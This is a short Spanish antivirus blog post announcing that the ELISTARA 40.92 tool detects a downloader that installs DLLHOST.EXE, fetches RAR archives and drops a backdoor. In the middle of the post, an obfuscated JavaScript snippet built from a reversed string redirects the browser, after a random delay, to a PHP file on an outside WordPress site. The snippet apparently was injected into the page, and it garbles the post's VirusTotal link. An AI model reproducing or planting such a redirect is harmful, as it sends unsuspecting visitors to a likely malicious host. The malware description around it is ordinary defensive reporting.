NUEVO MALWARE JPSECS QUE PASAMOS A CONTROLAR CON ELISTARA 40.92

Un downloader de película es este que queda residente al ejecutarlo, quedando como proceso activo el SVCHOST, instalando un DLLHOST.EXE que descarga varios .RAR, entre los cuales cabe notar el Backdoor.Venik.F, que tambien pasamos a controlar con el ELISTARA 40.92 de hoy

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/3cf201a6c525c884492980eaf5687ddeb8df0321837ae09e21980557b292e17f/analysis/1553081358/” target=”_blank” rel=”noopener noreferrer”>ofreciendo este informe en virustotal>

Este es detectado como Win32.Blackv por algunos AV.

Su complejidad estriba en que descarga e instala varios RAR que instalan ficheros que cambian de nombre en cada instalación.

Implementaremos su cadena de detección a partir del ELISTARA 40.92 de hoy

saludos

ms, 20-3-2019